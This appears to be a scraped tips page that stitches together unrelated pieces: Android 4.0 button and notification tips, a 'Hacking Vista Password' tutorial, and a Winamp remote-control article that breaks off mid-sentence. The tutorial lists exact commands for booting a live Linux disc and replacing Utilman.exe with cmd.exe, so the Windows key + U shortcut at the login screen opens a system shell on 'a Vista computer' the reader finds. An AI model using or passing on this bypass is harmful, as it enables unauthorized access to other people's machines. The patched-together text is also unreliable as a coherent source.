Tool and Tricks

The Android operating system has been developing fast since the release of Version 2.x (ranging from Eclair, Froyo to Gingerbread) for smartphones and Version 3 (Honeycomb ) for tablets. It achieves another great milestone with the latest Version 4 ( Ice Scream Sandwich or ICS ), a universal system suitable for running on both smartphone and tablet devices. If you're using a smartphone running on the Android version 2.x, you will be familiar with the four hardware buttons— Back, Menu, Home and Search —to interact with the system. Borrowing the design built for the tablet, Google's flagship smartphone Galaxy Nexus running on Android 4.0 now has no hardware buttons on the front, not even one. These hardware buttons turn virtual, leaving only two physical buttons—Volume and Power —on the left and right sides of the device. Like the screenshot, the three buttons Back, Home and Recent Apps often appear on a home screen and the Menu button only shows up when an app needs it

At the top of your screen, you will see notifications which report calendar events, alarms, incoming mails or other ongoing events. Swipe down from the top of the screen to reveal the list of notifications, then swipe up from the O-sign to hide it. Depending on the notification type, you can swipe a notification sideway to dismiss it, or tap the X-sign to dismiss all from the list. To access a notification, tap it and you're taken to the related email, reminder, message or app. The notification then clears automatically from the list where applicable. Note: When you slide down from the top of the screen, you can also see this Quick Settings icon. Touching this icon is equivalent to running the Settings app.

Hacking Vista Password This tutorial is quite simple and wont require so many steps... All you need is BackTrack3,get it at Remote Exploit First of, find a Vista computer, boot BackTrack 3,4,5 at it, then load it up and go into the console.... Now that u have the console open start typing the following commands cd /mnt Then do ls Then cd sda1 Then cd windows Then cd system32 Then MV Utilman.exe Utilman.old Then cp cmd.exe Utilman.exe Then reboot Now the system is going down for reboot and now let it load up Windows Vista When u get to the login place, hit the WindowsKey + U to invoke the utility manager Then simply throw in a command whoami Then explorer Congrats You r inside the system :)

People are living in an increasingly interconnected world, with devices often offering cross-platform compatibility for convenient methods of control. If you have an Android smartphone or tablet, however, just how easy is it to remotely control music on your PC using this gadget? There are a number of solutions available to tackle this tricky issue, but for the purposes of clarity and ease, here is a single option that harnesses the power of Winamp, which is among the most popular media players. PC Configuration To get the ball rolling you need to add the Winamp media player to your PC if you have not already done so. This popular piece of software is preferred by many because it is far more flexible and customisable than Microsoft's standard Windows Media Player program. Once Winamp is installed and you have synchronised it with the folders in which you keep all of your music files, you will need to download and install a plugin, namely the one which deals with remote c